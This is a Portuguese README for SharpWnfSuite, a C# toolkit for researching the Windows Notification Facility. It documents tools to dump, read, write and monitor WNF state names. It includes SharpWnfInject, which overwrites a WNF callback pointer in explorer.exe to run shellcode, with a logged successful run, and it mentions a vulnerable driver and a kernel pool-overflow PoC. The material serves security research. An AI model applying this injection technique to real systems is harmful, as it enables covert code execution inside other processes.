
Utilitários em C# para o Recurso de Notificação do Windows
Este é o repositório de ferramentas do Windows Notification Facility (WNF). Atualmente, foi carregado um port em C# das ferramentas do wnfun desenvolvidas por Alex Ionescu (@aionescu) e Gabrielle Viala (@pwissenlit). Quando eu desenvolver ferramentas adicionais para o Windows Notification Facility, elas serão carregadas aqui.
Esta ferramenta despeja ou manipula informações sobre WNF State Names. Equivalente a wnfdump.exe e WnfDump.py. Fiz algumas atualizações em relação à ferramenta original (Tratamento de Exceções, Well-Known State Name e novo membro WNF_DATA_SCOPE).
Para recuperar informações de todos os WNF State Names Well-Known, Permanent e Persistent no seu host, execute com a flag -d (--dump):```
PS C:\Dev> .\SharpWnfDump.exe -d
| WNF_WEBA_CTAP_DEVICE_STATE | S | W | N | RW | I | 0 | 12 | 0 | | WNF_WEBA_CTAP_DEVICE_CHANGE_NOTIFY | S | W | N | RW | I | 0 | 4 | 0 | | WNF_PNPA_DEVNODES_CHANGED | S | W | N | RO | U | 0 | 0 | 11 |
--snip--
Para mostrar apenas o nome do estado usado no sistema, defina a flag `-u` (`--used`). Esta flag pode ser aplicada às opções `-d` e `-b`:```
PS C:\Dev> .\SharpWnfDump.exe -d -u
| WNF State Name [WellKnown Lifetime] | S | L | P | AC | N | CurSize | MaxSize | Changes |
----------------------------------------------------------------------------------------------------------------------
| WNF_PNPA_DEVNODES_CHANGED | S | W | N | RO | U | 0 | 0 | 140 |
| WNF_AUDC_RENDER | S | W | N | RO | U | 4096 | 4096 | 7 |
| WNF_AUDC_CAPTURE | S | W | N | RO | U | 4096 | 4096 | 1 |
| WNF_AUDC_SPATIAL_STATUS | S | W | N | RO | U | 4096 | 4096 | 3 |
--snip--
Se você quiser recuperar informações do Security Descripter, defina a flag -s (--sid):```
PS C:\Dev> .\SharpWnfDump.exe -d -s
| WNF_WEBA_CTAP_DEVICE_STATE | S | W | N | RW | I | 0 | 12 | 0 |
D:(A;;CCDC;;;SY)(A;;CCDC;;;BA)(A;;CCDC;;;S-1-5-80-242729624-280608522-2219052887-3187409060-2225943459)(A;;CC;;;AU)(A;;CC;;;AC)
| WNF_WEBA_CTAP_DEVICE_CHANGE_NOTIFY | S | W | N | RW | I | 0 | 4 | 0 |
D:(A;;CCDC;;;SY)(A;;CCDC;;;BA)(A;;CCDC;;;S-1-5-80-242729624-280608522-2219052887-3187409060-2225943459)(A;;CC;;;AU)(A;;CC;;;AC)
| WNF_PNPA_DEVNODES_CHANGED | S | W | N | RO | U | 0 | 0 | 11 |
D:(A;;CC;;;BU)(A;;CCDC;;;SY)
--snip--
Se você quiser recuperar dados do buffer, use a flag `-v` (`--value`) ou `-r` (`--read`).
Essas flags podem ser usadas com a flag `-s`:```
PS C:\Dev> .\SharpWnfDump.exe -d -v
| WNF State Name [WellKnown Lifetime] | S | L | P | AC | N | CurSize | MaxSize | Changes |
----------------------------------------------------------------------------------------------------------------------
| WNF_WEBA_CTAP_DEVICE_STATE | S | W | N | RW | I | 0 | 12 | 0 |
| WNF_WEBA_CTAP_DEVICE_CHANGE_NOTIFY | S | W | N | RW | I | 0 | 4 | 0 |
--snip--
| WNF_AUDC_RENDER | S | W | N | RO | U | 4096 | 4096 | 1 |
00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
00000000 | 01 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 | ........ ........
00000010 | 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 | ........ ........
00000020 | 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 | ........ ........
--snip--
Para recuperar informações de todos os Nomes de Estado WNF temporários no seu host, execute com a flag -b (--brut):```
PS C:\Dev> .\SharpWnfDump.exe -b
| 0x41C64E6DA3AC3845 | S | T | N | RW | A | 8 | ? | 1 | | 0x41C64E6DA3AC4845 | S | T | N | RW | A | 8 | ? | 1 | | 0x41C64E6DA3AC6845 | S | T | N | RW | A | 8 | ? | 1 |
--snip--
A opção `-b` (`--brut`) pode ser usada com a opção `-v` (`--value`) ou `-r` (`--read`), mas não pode ser usada com a opção `-s` (`--sid`).
O significado de cada coluna na tabela obtida a partir dos resultados da opção `--dump` ou `--brut` é o seguinte:
| Column Name | Description |
| :--- | :--- |
| `WNF State Name` | Os WNF State Names são exibidos aqui |
| `S` | Escopo de dados para o WNF State Name. Os significados das letras exibidas são os seguintes:<br><br>+ `S` : Escopo do Sistema<br>+ `s` : Escopo da Sessão<br>+ `U` : Escopo do Usuário<br>+ `P` : Escopo do Processo<br>+ `M` : Escopo da Máquina<br>+ `p` : Escopo da Máquina Física |
| `L` | Tempo de vida para o WNF State Name. Os significados das letras exibidas são os seguintes:<br><br>+ `W` : Well-Known<br>+ `P` : Permanente<br>+ `V` : Persistente (Volátil)<br>+ `T` : Temporário |
| `P` | Exibe se o WNF State Name é permanente:<br><br>+ `Y` : Sim<br>+ `N` : Não |
| `AC` | Controle de acesso para o WNF State Name:<br><br>+ `RW` : Legível e Gravável<br>+ `RO` : Somente Leitura<br>+ `WO` : Somente Gravação<br>+ `NA` : Não Legível e Gravável |
| `N` | Exibe a existência de assinante:<br><br>+ `A` : Assinante existe<br>+ `I` : Nenhum assinante existe<br>+ `U` : Desconhecido |
| `CurSize` | O número indica o tamanho atual do buffer usado para o WNF State Name. |
| `MaxSize` | O número indica o tamanho máximo do buffer que pode ser usado para o WNF State Name. |
| `Changes` | O número indica quantas vezes foi atualizado. |
Se você quiser recuperar informações sobre um WNF State Name específico, execute `SharpWnfDump.exe` com a opção `-i` (`--info`) da seguinte forma:```
PS C:\Dev> .\SharpWnfDump.exe -i WNF_SHEL_APPRESOLVER_SCAN
| WNF State Name | S | L | P | AC | N | CurSize | MaxSize | Changes |
----------------------------------------------------------------------------------------------------------------------
| WNF_SHEL_APPRESOLVER_SCAN | S | W | N | RW | A | 4 | 4 | 1 |
A opção -i (--info) pode ser usada com as flags -v (--value), -r (--read) e -s (--sid):```
PS C:\Dev> .\SharpWnfDump.exe -i WNF_SHEL_APPRESOLVER_SCAN -s -v
| WNF_SHEL_APPRESOLVER_SCAN | S | W | N | RW | A | 4 | 4 | 1 |
D:(A;;CC;;;WD)(A;;CCDC;;;AU)(A;;CCDC;;;AC)
00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
00000000 | 01 00 00 00 | ....
Para ler dados de um WNF State Name específico, use a flag `-r` (`--read`) da seguinte forma:```
PS C:\Dev> .\SharpWnfDump.exe -r WNF_SHEL_APPRESOLVER_SCAN
WNF_SHEL_APPRESOLVER_SCAN:
00000000 | 11 00 00 00 | ....
Para escrever dados para um WNF State Name específico, use a flag -w (--write) da seguinte forma (os dados para escrita devem ser fornecidos com um arquivo):```
PS C:\Dev> "hi" | Out-File -Encoding ascii -FilePath C:\Dev\test.txt
PS C:\Dev> Get-Content -Path C:\Dev\test.txt
hi
PS C:\Dev> .\SharpWnfDump.exe -w WNF_SHEL_APPRESOLVER_SCAN C:\Dev\test.txt
[>] Trying to write data. [] Target WNF Name : WNF_SHEL_APPRESOLVER_SCAN [] Data Source : C:\Dev\test.txt [+] Data is written successfully.
PS C:\Dev> .\SharpWnfDump.exe -i WNF_SHEL_APPRESOLVER_SCAN -r
| WNF_SHEL_APPRESOLVER_SCAN | S | W | N | RW | A | 4 | 4 | 2 |
00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
00000000 | 68 69 0D 0A | hi..
### SharpWnfNameDumper
[Voltar ao topo](#sharpwnfsuite)
[Projeto](https://github.com/daem0nc0re/sharpwnfsuite/blob/main/SharpWnfSuite/SharpWnfNameDumper)
Esta ferramenta extrai o Well-Known State Name de DLLs (normalmente perf_nt_c.dll).
Equivalente ao [WnfNameDumper.py](https://github.com/ionescu007/wnfun/blob/master/script_python/WnfNameDumper.py).
Normalmente, os Well-Known State Names estão contidos em perf_nt_c.dll (que está no Windows Performance Analyzer).
Para extrair os Well-Known State Names da DLL, execute `SharpWnfNameDumper.exe` com a opção `-d` (`--dump`) da seguinte forma:```
PS C:\Dev> .\SharpWnfNameDumper.exe -d perf_nt_c.dll
[>] Output results in C# style.
public enum WELL_KNOWN_WNF_NAME : ulong
{
WNF_9P_REDIRECTOR_STARTED = 0x41C61E54A3BC1075UL,
WNF_9P_UNKNOWN_DISTRO_NAME = 0x41C61E54A3BC0875UL,
--snip--
Se você quiser despejar a descrição para Nomes de Estados Bem Conhecidos, defina a flag -v:```
PS C:\Dev> .\SharpWnfNameDumper.exe -d perf_nt_c.dll -v
[>] Output results in C# style.
public enum WELL_KNOWN_WNF_NAME : ulong { // The Plan 9 Redirector was started and is ready to accept requests. WNF_9P_REDIRECTOR_STARTED = 0x41C61E54A3BC1075UL, // The Plan 9 Redirector got a request for an unknown WSL distribution and there is no user callback registered to query it. WNF_9P_UNKNOWN_DISTRO_NAME = 0x41C61E54A3BC0875UL,
--snip--
Para especificar o formato de saída, use a opção `-f` (`--format`). O `SharpWnfNameDumper.exe` suporta os formatos C#, C (`-f c`) e Python (`-f py`) (o formato padrão é C#):```
PS C:\Dev> .\SharpWnfNameDumper.exe -d perf_nt_c.dll -f py
[>] Output results in Python style.
g_WellKnownWnfNames = {
"WNF_9P_REDIRECTOR_STARTED": 0x41C61E54A3BC1075,
"WNF_9P_UNKNOWN_DISTRO_NAME": 0x41C61E54A3BC0875,
--snip--
Para enviar o resultado para um arquivo, use a opção -o (--output) para especificar o caminho do arquivo de saída:```
PS C:\Dev> .\SharpWnfNameDumper.exe -d perf_nt_c.dll -o result.txt
[>] Output results in C# style.
C:\dev>type result.txt public enum WELL_KNOWN_WNF_NAME : ulong { WNF_9P_REDIRECTOR_STARTED = 0x41C61E54A3BC1075UL, WNF_9P_UNKNOWN_DISTRO_NAME = 0x41C61E54A3BC0875UL,
--snip--
Para obter diff de 2 DLLs, use a opção `-D` (`--diff`):```
PS C:\Dev> .\SharpWnfNameDumper.exe -D perf_nt_c_old.dll perf_nt_c_new.dll
[>] Output results in C# style.
################################################
# NEW KEYS #
################################################
public enum WELL_KNOWN_WNF_NAME : ulong
{
WNF_SHEL_CHAT_ICON_BADGE = 0x0D83063EA3B8A035UL,
WNF_SHEL_ENTERPRISE_START_PINS_POLICY_VALUE_CHANGED = 0x0D83063EA3B89475UL,
WNF_SHEL_FILE_EXPLORER_PINNED_FOLDERS = 0x0D83063EA3B8ACF5UL,
WNF_SHEL_MAC_AUTO_UPDATE_SUCCEEDED = 0x0D83063EA3B89875UL
}
Esta é uma ferramenta para subscrever um WNF State Name. Equivalente a wnfclient-rtl.exe e WnfClientServer.py.
Por exemplo, se você quiser monitorar o estado de WNF_SHEL_APPLICATION_STARTED, execute SharpWnfClient.exe da seguinte forma:```
PS C:\Dev> .\SharpWnfClient.exe WNF_SHEL_APPLICATION_STARTED
[>] Received data from server. [] Timestamp : 4 [] Buffer Size : 92 byte(s) [*] Data :
00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
00000000 | 61 00 3A 00 6D 00 69 00-63 00 72 00 6F 00 73 00 | a.:.m.i. c.r.o.s.
00000010 | 6F 00 66 00 74 00 2E 00-77 00 69 00 6E 00 64 00 | o.f.t... w.i.n.d.
00000020 | 6F 00 77 00 73 00 74 00-65 00 72 00 6D 00 69 00 | o.w.s.t. e.r.m.i.
00000030 | 6E 00 61 00 6C 00 5F 00-38 00 77 00 65 00 6B 00 | n.a.l._. 8.w.e.k.
00000040 | 79 00 62 00 33 00 64 00-38 00 62 00 62 00 77 00 | y.b.3.d. 8.b.b.w.
00000050 | 65 00 21 00 61 00 70 00-70 00 00 00 | e.!.a.p. p...
Então, se você iniciar o aplicativo notepad, deverá ver o seguinte resultado:```
[>] Received data from server.
[*] Timestamp : 5
[*] Buffer Size : 90 byte(s)
[*] Data :
00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
00000000 | 61 00 3A 00 6D 00 69 00-63 00 72 00 6F 00 73 00 | a.:.m.i. c.r.o.s.
00000010 | 6F 00 66 00 74 00 2E 00-77 00 69 00 6E 00 64 00 | o.f.t... w.i.n.d.
00000020 | 6F 00 77 00 73 00 6E 00-6F 00 74 00 65 00 70 00 | o.w.s.n. o.t.e.p.
00000030 | 61 00 64 00 5F 00 38 00-77 00 65 00 6B 00 79 00 | a.d._.8. w.e.k.y.
00000040 | 62 00 33 00 64 00 38 00-62 00 62 00 77 00 65 00 | b.3.d.8. b.b.w.e.
00000050 | 21 00 61 00 70 00 70 00-00 00 | !.a.p.p. ..
Esta ferramenta cria um WNF State Name de tempo de vida temporário e envia alguma mensagem ao subscritor. Equivalente a wnfserver.exe e WnfClientServer.py.
Para iniciar um novo servidor de WNF State Name, basta executar SharpWnfServer.exe. Devemos entrar numa shell interativa da seguinte forma:```
PS C:\Dev> .\SharpWnfServer.exe
[+] New WNF State Name is created successfully : 0x41C64E6DA3834945
Encoded State Name: 0x41C64E6DA3834945, Decoded State Name: 0x3F4931 Version: 1, Lifetime: Temporary, Scope: Machine, Permanent: NO, Sequence Number: 0x7E9, Owner Tag: 0x0
Sending input data to WNF subscriber...
[INPUT]>
Após executar `SharpWnfServer.exe`, execute `SharpWnfClient.exe` com o WNF State Name fornecido por `SharpWnfServer.exe` a partir de outro terminal. Você deve receber "Hello, world!" como uma mensagem de `SharpWnfServer.exe`:```
PS C:\Dev> .\SharpWnfClient.exe 0x41C64E6DA3834945
[>] Received data from server.
[*] Timestamp : 1
[*] Buffer Size : 13 byte(s)
[*] Data :
00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
00000000 | 48 65 6C 6C 6F 2C 20 77-6F 72 6C 64 21 | Hello,.w orld!
Para publicar uma mensagem adicional para SharpWnfClient.exe, insira sua mensagem no shell interativo do SharpWnfServer.exe:```
[INPUT]> This is WNF test
Sending input data to WNF subscriber...
[INPUT]>
Em seguida, você deve ver a mensagem no terminal para `SharpWnfClient.exe` da seguinte forma:```
[>] Received data from server.
[*] Timestamp : 2
[*] Buffer Size : 16 byte(s)
[*] Data :
00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
00000000 | 54 68 69 73 20 69 73 20-57 4E 46 20 74 65 73 74 | This.is. WNF.test
Esta ferramenta é baseada no wnfscan de modexp e despeja informações de assinatura WNF do processo.``` PS C:\Dev> .\SharpWnfScan.exe -h
SharpWnfScan - Tool for dumping WNF information from process.
Usage: SharpWnfScan.exe [Options]
-h, --help : Displays this help message.
-p, --pid : Specifies the target PID.
-P, --processname : Specifies the target process name.
-n, --name : Specifies a wnf state name for filtering.
-a, --all : Flag to dump information from all process.
-l, --list : Flag to list WNF State Name on this system.
-d, --debug : Flag to enable SeDebugPrivilege. Administrative privilege is required.
-v, --verbose : Flag to get verbose information.
Para despejar um processo específico, defina a opção `-p` da seguinte forma:```
PS C:\Dev> .\SharpWnfScan.exe -p 5800
Process ID : 5800
Image File Name : C:\Windows\explorer.exe
Architecture : ARM64
WNF_SUBSCRIPTION_TABLE @ 0x0000000001206660
WNF_NAME_SUBSCRIPTION @ 0x0000000001206B00
StateName : 0x0280032EA3BC0875 (WNF_CMFC_FEATURE_CONFIGURATION_CHANGED)
WNF_NAME_SUBSCRIPTION @ 0x000000000120AD10
StateName : 0x418B1929A3BC3835 (WNF_DWM_DUMP_REQUEST)
WNF_NAME_SUBSCRIPTION @ 0x0000000005099950
StateName : 0x41960A2EA3BC1835 (WNF_CDP_CDPUSERSVC_READY)
--snip--
Se você quiser obter informações de WNF_USER_SUBSCRIPTION, defina o flag -v da seguinte forma:```
PS C:\Dev> .\SharpWnfScan.exe -p 5800 -v
Process ID : 5800 Image File Name : C:\Windows\explorer.exe Architecture : ARM64
WNF_SUBSCRIPTION_TABLE @ 0x0000000001206660
WNF_NAME_SUBSCRIPTION @ 0x0000000001206B00
StateName : 0x0280032EA3BC0875 (WNF_CMFC_FEATURE_CONFIGURATION_CHANGED)
WNF_USER_SUBSCRIPTION @ 0x0000000001206A40
Callback @ 0x00007FFE88478470 (ntdll!RtlNotifyFeatureUsage+0x1C0)
Context @ 0x00007FFE886F0B20 (ntdll!NlsAnsiCodePage+0x2390)
WNF_NAME_SUBSCRIPTION @ 0x000000000120AD10
StateName : 0x418B1929A3BC3835 (WNF_DWM_DUMP_REQUEST)
WNF_USER_SUBSCRIPTION @ 0x0000000001207FD0
Callback @ 0x00007FF7073027C0 (explorer)
Context @ 0x0000000001208CC0 (N/A)
--snip--
Você pode especificar processos alvo pelo nome com a opção `-P`:```
PS C:\Dev> .\SharpWnfScan.exe -P notepad
Process ID : 8720
Image File Name : C:\Program Files\WindowsApps\Microsoft.WindowsNotepad_11.2401.26.0_arm64__8wekyb3d8bbwe\Notepad\Notepad.exe
Architecture : ARM64
WNF_SUBSCRIPTION_TABLE @ 0x000001DE2B007560
WNF_NAME_SUBSCRIPTION @ 0x000001DE2B02D640
StateName : 0x41C61629A3BC2835 (WNF_DX_MONITOR_CHANGE_NOTIFICATION)
WNF_NAME_SUBSCRIPTION @ 0x000001DE2B03E040
StateName : 0x41950223A3BC1035 (WNF_NLS_USER_UILANG_CHANGED)
--snip--
Para filtrar pelo nome do estado, defina a string hex ou o nome WNF bem conhecido para a opção -n da seguinte forma:```
PS C:\Dev> .\SharpWnfScan.exe -P notepad -n WNF_RPCF_FWMAN_RUNNING
Process ID : 8720 Image File Name : C:\Program Files\WindowsApps\Microsoft.WindowsNotepad_11.2401.26.0_arm64__8wekyb3d8bbwe\Notepad\Notepad.exe Architecture : ARM64
WNF_SUBSCRIPTION_TABLE @ 0x000001DE2B007560
WNF_NAME_SUBSCRIPTION @ 0x000001DE2B075040
StateName : 0x07851E3FA3BC0875 (WNF_RPCF_FWMAN_RUNNING)
PS C:\Dev> .\SharpWnfScan.exe -P notepad -n 0x07851E3FA3BC0875
Process ID : 8720 Image File Name : C:\Program Files\WindowsApps\Microsoft.WindowsNotepad_11.2401.26.0_arm64__8wekyb3d8bbwe\Notepad\Notepad.exe Architecture : ARM64
WNF_SUBSCRIPTION_TABLE @ 0x000001DE2B007560
WNF_NAME_SUBSCRIPTION @ 0x000001DE2B075040
StateName : 0x07851E3FA3BC0875 (WNF_RPCF_FWMAN_RUNNING)
Para despejar todos os processos de uma vez, use a opção `-a`:```
PS C:\Dev> .\SharpWnfScan.exe -a
Process ID : 1180
Image File Name : C:\Windows\System32\svchost.exe
Architecture : ARM64
WNF_SUBSCRIPTION_TABLE @ 0x000002101A806560
WNF_NAME_SUBSCRIPTION @ 0x000002101A830120
StateName : 0x07851E3FA3BC0875 (WNF_RPCF_FWMAN_RUNNING)
WNF_NAME_SUBSCRIPTION @ 0x000002101A86C1C0
StateName : 0x41C64E6DA3B0E045 (N/A)
WNF_NAME_SUBSCRIPTION @ 0x000002101A833C50
StateName : 0x41C64E6DA3BC6145 (N/A)
WNF_NAME_SUBSCRIPTION @ 0x000002101A846A50
StateName : 0x41C64E6DA3BD0945 (N/A)
WNF_NAME_SUBSCRIPTION @ 0x000002101A86CA00
StateName : 0x41C64E6DA3BB8045 (N/A)
WNF_NAME_SUBSCRIPTION @ 0x000002101A806A00
StateName : 0x0280032EA3BC0875 (WNF_CMFC_FEATURE_CONFIGURATION_CHANGED)
WNF_NAME_SUBSCRIPTION @ 0x000002101A86C4C0
StateName : 0x41C64E6DA3B1E045 (N/A)
WNF_NAME_SUBSCRIPTION @ 0x000002101A86C700
StateName : 0x41C64E6DA3A0F945 (N/A)
WNF_NAME_SUBSCRIPTION @ 0x000002101A830EE0
StateName : 0x4195003AA3BC0875 (WNF_WNS_CONNECTIVITY_STATUS)
WNF_NAME_SUBSCRIPTION @ 0x000002101A86C880
StateName : 0x41C6072FA3BC3875 (WNF_BI_APPLICATION_SERVICING_START_CHANNEL)
WNF_NAME_SUBSCRIPTION @ 0x000002101A86CC40
StateName : 0x41C6072FA3BC1875 (WNF_BI_USER_LOGOFF_CHANNEL)
WNF_NAME_SUBSCRIPTION @ 0x000002101A835E90
StateName : 0x41C6072FA3BC1075 (WNF_BI_USER_LOGON_CHANNEL)
WNF_NAME_SUBSCRIPTION @ 0x000002101A86CD00
StateName : 0x41C6072FA3BC2875 (WNF_BI_SESSION_DISCONNECT_CHANNEL)
WNF_NAME_SUBSCRIPTION @ 0x000002101A86CAC0
StateName : 0x41C6072FA3BC2075 (WNF_BI_SESSION_CONNECT_CHANNEL)
WNF_NAME_SUBSCRIPTION @ 0x000002101A86C940
StateName : 0x41840B3EA3BC2075 (WNF_SEB_NETWORK_STATE_CHANGES)
WNF_NAME_SUBSCRIPTION @ 0x000002101A853920
StateName : 0x41C6072FA3BC3075 (WNF_BI_APPLICATION_UNINSTALL_CHANNEL)
WNF_NAME_SUBSCRIPTION @ 0x000002101A836040
StateName : 0x41C6072FA3BC4875 (WNF_BI_LOCK_SCREEN_UPDATE_CHANNEL)
WNF_NAME_SUBSCRIPTION @ 0x000002101A86C580
StateName : 0x41C6072FA3BC4075 (WNF_BI_APPLICATION_SERVICING_STOP_CHANNEL)
WNF_NAME_SUBSCRIPTION @ 0x000002101A833B80
StateName : 0x41C6072FA3BC6075 (WNF_BI_QUIET_MODE_UPDATE_CHANNEL)
WNF_NAME_SUBSCRIPTION @ 0x000002101A86C400
StateName : 0x41C6072FA3BC5075 (WNF_BI_EVENT_DELETION)
Process ID : 2952
Image File Name : C:\Windows\System32\svchost.exe
Architecture : ARM64
WNF_SUBSCRIPTION_TABLE @ 0x0000023DD3A065C0
WNF_NAME_SUBSCRIPTION @ 0x0000023DD3AF8B80
StateName : 0x41C64E6DA3B1E045 (N/A)
WNF_NAME_SUBSCRIPTION @ 0x0000023DD3AF8C40
StateName : 0x41C64E6DA3BC6145 (N/A)
--snip--
Para habilitar SeDebugPrivilege, defina a flag -d da seguinte forma.
Esta opção requer privilégio administrativo:```
PS C:\Dev> .\SharpWnfScan.exe -d -P winlogon
[+] SeDebugPrivilege is enabled successfully.
Process ID : 680 Image File Name : C:\Windows\System32\winlogon.exe Architecture : ARM64
WNF_SUBSCRIPTION_TABLE @ 0x00000265F4E05F80
WNF_NAME_SUBSCRIPTION @ 0x00000265F4E48AE0
StateName : 0x41C64E6DA3BC6145 (N/A)
WNF_NAME_SUBSCRIPTION @ 0x00000265F4E27AD0
StateName : 0x41C61629A3BC1035 (WNF_DX_MODE_CHANGE_NOTIFICATION)
--snip--
Para listar os Nomes de Estado WNF usados no sistema de destino, defina a flag `-l` da seguinte forma:```
PS C:\Dev> .\SharpWnfScan.exe -l
[>] Trying to list WNF State Names used in this system. Wait a moment.
[1304 WNF State Names]
[*] 0x07851E3FA3BC0875 (WNF_RPCF_FWMAN_RUNNING)
[*] 0x41C64E6DA3B0E045 (N/A)
[*] 0x41C64E6DA3BC6145 (N/A)
[*] 0x41C64E6DA3BD0945 (N/A)
[*] 0x41C64E6DA3BB8045 (N/A)
[*] 0x0280032EA3BC0875 (WNF_CMFC_FEATURE_CONFIGURATION_CHANGED)
[*] 0x41C64E6DA3B1E045 (N/A)
--snip--
[16 Access Denied Processes]
[*] svchost (PID : 2352)
[*] svchost (PID : 4952)
[*] MsMpEng (PID : 3132)
--snip--
[*] Done.
Esta ferramenta serve para investigar como atacantes podem abusar do WNF para técnica de injeção de código:``` PS C:\Dev> .\SharpWnfInject.exe -h
SharpWnfInject - Tool to investigate WNF code injection technique.
Usage: SharpWnfInject.exe [Options]
-h, --help : Displays this help message.
-n, --name : Specifies WNF State Name to inject. Hex format or Well-known name format is accepted.
-p, --pid : Specifies PID to inject.
-i, --input : Specifies the file path to shellcode.
-d, --debug : Flag to enable SeDebugPrivilege. Requires administrative privilege.
[!] -n option is required.
Esta ferramenta sobrescreve o ponteiro da função de callback em `WNF_USER_SUBSCRIPTION` para um Nome de Estado WNF específico.
A técnica de injeção de código não funciona para todos os Nomes de Estado WNF.
Por exemplo, sabe-se que esta técnica está disponível para `WNF_SHEL_WINDOWSTIP_CONTENT_PUBLISHED` usado por `explorer.exe` no Windows 11 23H2.
Para testar esta técnica, execute esta ferramenta da seguinte forma:```
PS C:\Dev> .\SharpWnfInject.exe -p 5800 -n WNF_SHEL_WINDOWSTIP_CONTENT_PUBLISHED -i .\notepad_arm64.bin
[*] Target WNF State Name is 0x0D83063EA3BE10F5 (WNF_SHEL_WINDOWSTIP_CONTENT_PUBLISHED).
[+] Got a handle from the target Process
[*] Process Name : explorer.exe
[*] Process ID : 5800
[*] Image File Name : C:\Windows\explorer.exe
[*] Architecture : ARM64
[+] Pointer for WNF_SUBSCRIPTION_TABLE is at 0x00007FFE886F4E20.
[+] WNF_SUBSCRIPTION_TABLE is at 0x0000000001206660.
[*] WNF_NAME_SUBSCRIPTION is at 0x0000000001273540.
[+] Got 1 WNF_USER_SUBSCRIPTION.
[*] Target callback pointer is at 0x00000000051C2250.
[*] Callback function is at 0x00007FFE54FD4D20 (twinui!DllGetClassObject+0x11AFF0).
[+] Shellcode buffer is at 0x0000000003270000.
[+] 344 bytes shellcode is written successfully.
[+] Callback pointer is overwritten successfully.
[>] Triggering shellcode.
[+] WNF State Data is updated successfully. Shellcode might be executed.
[+] Callback pointer is reverted successfully.
[*] Done.

Se quiser ativar o SeDebugPrivilege, defina a flag -d e execute com privilégio administrativo.
Exemplos de shellcodes para executar o notepad estão localizados em diretório Shellcode.
Os projetos neste diretório têm como objetivo demonstrar a primitiva WNF para exploração do kernel. Você pode ler as informações detalhadas na palestra e nos blogs de Alex Plaskett (Parte 1, Parte 2, Slides).
A confiabilidade do PoC não é 100%. Defini o offset do kernel para todas as versões do Windows 10 x64, mas testei apenas no Windows 10 versão 1903 x64.
| Projeto | Descrição |
|---|---|
| PoolVulnDrv | Este é um driver de kernel vulnerável para testar a primitiva de kernel WNF. |
| WnfPoolOverflow | Este é um PoC para explorar o PoolVulnDrv. |

Este diretório contém documentos e códigos de exemplo para criar seu próprio shellcode de callback WNF. Consulte README.md.
Agradecimentos pela pesquisa:
Agradecimentos pela ajuda: